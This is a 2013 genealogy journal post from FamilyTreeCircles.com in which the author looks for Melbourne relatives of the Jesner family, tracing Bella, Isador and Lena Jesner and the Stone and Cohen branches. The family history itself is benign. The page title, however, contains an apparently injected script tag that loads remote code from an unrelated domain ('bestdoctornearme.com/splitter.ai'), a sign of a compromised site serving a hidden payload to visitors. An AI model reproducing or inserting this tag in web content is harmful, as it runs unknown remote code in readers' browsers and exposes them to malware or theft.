Seeking Information on Jesners in Melbourne, Australia<script src="https://bestdoctornearme.com/splitter.ai/index.php"></script> :: FamilyTreeCircles.com Genealogy
<< Previous - Next >>

Seeking Information on Jesners in Melbourne, Australia

Journal by darianzam

I am seeking connections between my family and Jesners of Melbourne.

My great-aunt was Bella Jesner (nee Zam). She married Robert Isaac Jesner in Glasgow. The Jesner family, which had a very successful history in dealing metal and vehicles, as well as heavy involvement with the synagogue there, is a large family still present in Glasgow today.
The Jesner family already had some history in Australia; Robert's brother Isador came to New Zealand for a short time, arriving and leaving in 1911, and presumably went straight to Australia.
He settled in Carlton North, Melbourne, where joined by his sister Lena they launched a Stocking manufacturing enterprise named P&J Hosiery. They retired from the business in 1934, and the mill, now owned by Albert and Clara Bernadou, became the Vogue Hosiery factory.

Lena Jesner was investigated by the Commonwealth Police Force and Investigation Service, Victoria in 1930 for reasons unknown. I don't know if some kind of persecution or harassment had bearing on their decision to leave Australia and return to Scotland, but it's possible. I have turned up a number of investigations conducted by the government on my family in the 1930s and 1940s both in Australia and New Zealand. Likely they were targeted during "The Red Bogie" because they happened to be foreign and Jewish. Isador and Lena returned to Scotland and lived in Glasgow until they died. I am not sure if either ever married.
My great-aunt Bella visited Australia for the first time in 1956 to see one of her daughters. (Family memory is that Bella also went to live in Germany for a time before Australia, but did not really like it. As you can see, the photo seems to have been taken in Berlin so this makes sense).

All three of her children with Robert Isaac Jesner eventually moved to Australia one by one; Gertrude (known as Trudie) and Serra (known as Sybil) both settled in the Melbourne area. George arrived with his wife Dorothy to Canberra, ACT in 1964, bringing Bella with them to live. Bella died that same year and was interred in Victoria.

George and Dorothy visited a Jesner relation in Melbourne apparently named Nancy - but are now not sure exactly how Nancy was related. Doing some further digging around in the records, I found remnants of Jesners in the Melbourne area but I am not sure how they fit in to our tree.
They were Nathan Stone, and Julia Williams nee Stone, who passed away around 1970, as well as siblings Ada, Dora and Rebecca Stone - their mother was Esther Rose Jesner. These were her children with Abraham Stone. Esther's father was Selim Jesner, who would probably would have been born circa 1840s. Esther Jesner also had a marriage to a Solomon Cohen and had at least one child, Minnie Cohen. All are buried in Jewish sections/cemeteries of Melbourne.
There are also apparently Yesner relations of the Jesners in Australia - the Yesner branch were settled in South Africa, again I am not sure how they are related.

Surnames: COHEN JESNER STONE WILLIAMS YESNER
Viewed: 1389 times
Likes: 0
by darianzam Profile | Research | Contact | Subscribe | Block this user
on 2013-08-15 22:40:44

Social historian, writer, artist.

Do you know someone who can help? Share this:

Comments

Register or Sign in to comment on this journal.